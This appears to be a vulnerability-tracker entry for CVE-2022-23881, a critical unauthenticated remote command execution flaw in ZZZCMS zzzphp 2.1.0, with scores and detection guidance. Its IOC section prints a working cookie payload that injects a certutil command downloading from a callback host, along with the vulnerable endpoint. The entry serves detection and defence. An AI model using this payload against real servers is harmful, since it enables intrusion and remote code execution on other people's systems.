CVE-2022-23881: ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php.

PriorityP277critical9.8CVSS 3.1

AVNACLPRNUINSUCHIHAH

EXPLOIT

EPSS

56.51%

98.9th percentile

ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
zzzcms	zzzphp	—	—

Detection & IOCsextracted from sources · hover to see the quote

url/?location=search

cookiekeys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if}

path/zzz_template.php↗

→Exploit payload is delivered via the 'keys' cookie using ZZZCMS template injection syntax: {if:=`<cmd>`}{end if}. Monitor HTTP requests to /?location=search with a 'keys' cookie containing backtick-wrapped OS commands.
→Exploitation results in an HTTP 500 response from the server. Correlate 500 status codes on /?location=search with suspicious 'keys' cookie values as a detection signal.
→The vulnerability is triggered through the danger_key() function in zzz_template.php. Look for template expression patterns ({if:=`...`}{end if}) in cookie values processed by this file. ↗
→Out-of-band detection: exploitation may trigger outbound HTTP requests (e.g., via certutil) to attacker-controlled infrastructure. Monitor for unexpected certutil network activity on Windows hosts running ZZZCMS.

·The Nuclei template uses an interactsh out-of-band callback URL as the payload destination. In real-world attacks, this would be replaced with an attacker-controlled domain. The specific URL in the template is a placeholder and not a fixed IOC.
·The vulnerability is unauthenticated (PR:N) and network-exploitable (AV:N) with no user interaction required, meaning any exposed ZZZCMS zzzphp 2.1.0 instance is at risk without authentication bypass.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P

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